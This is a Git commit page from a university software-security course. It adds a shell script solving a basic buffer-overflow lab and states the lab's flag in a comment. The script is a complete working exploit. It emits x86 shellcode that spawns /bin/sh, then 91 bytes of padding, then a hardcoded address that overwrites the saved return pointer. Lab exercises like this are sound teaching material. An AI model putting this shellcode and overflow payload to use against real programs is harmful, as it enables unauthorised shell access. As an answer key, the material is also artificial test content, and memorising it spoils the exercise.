[Assignment-6] solution task 6 (basic buffer overflow attack)
All checks were successful
Latex Build / build-latex (Assignment 4 - Protokollsicherheit (Praxis)) (push) Successful in 1m7s
Latex Build / build-latex (Assignment 5 - Software Security - Teil 1) (push) Successful in 1m5s
All checks were successful
Latex Build / build-latex (Assignment 4 - Protokollsicherheit (Praxis)) (push) Successful in 1m7s
Latex Build / build-latex (Assignment 5 - Software Security - Teil 1) (push) Successful in 1m5s
This commit is contained in:
parent
44e88d1d2b
commit
b040e57d50
1 changed files with 14 additions and 0 deletions
14
Assignment 6 - Softwaresicherheit - Teil 2/basic_overflow/solution.sh
Executable file
14
Assignment 6 - Softwaresicherheit - Teil 2/basic_overflow/solution.sh
Executable file
|
|
@ -0,0 +1,14 @@
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# flag{THAT_WAS_EASY_HUH}
|
||||||
|
|
||||||
|
######### Exploit #########
|
||||||
|
# Step 1: Write the provided shellcode to stdout
|
||||||
|
printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
|
||||||
|
|
||||||
|
# Step 2: Fill the buffer with 'A's until the stored EIP is reached
|
||||||
|
printf "A%.0s" {1..91}
|
||||||
|
|
||||||
|
# Step 3: Overwrite the stored EIP with the address of the shellcode
|
||||||
|
printf "\x2c\xd5\xff\xff"
|
||||||
|
###########################
|
||||||
Loading…
Add table
Add a link
Reference in a new issue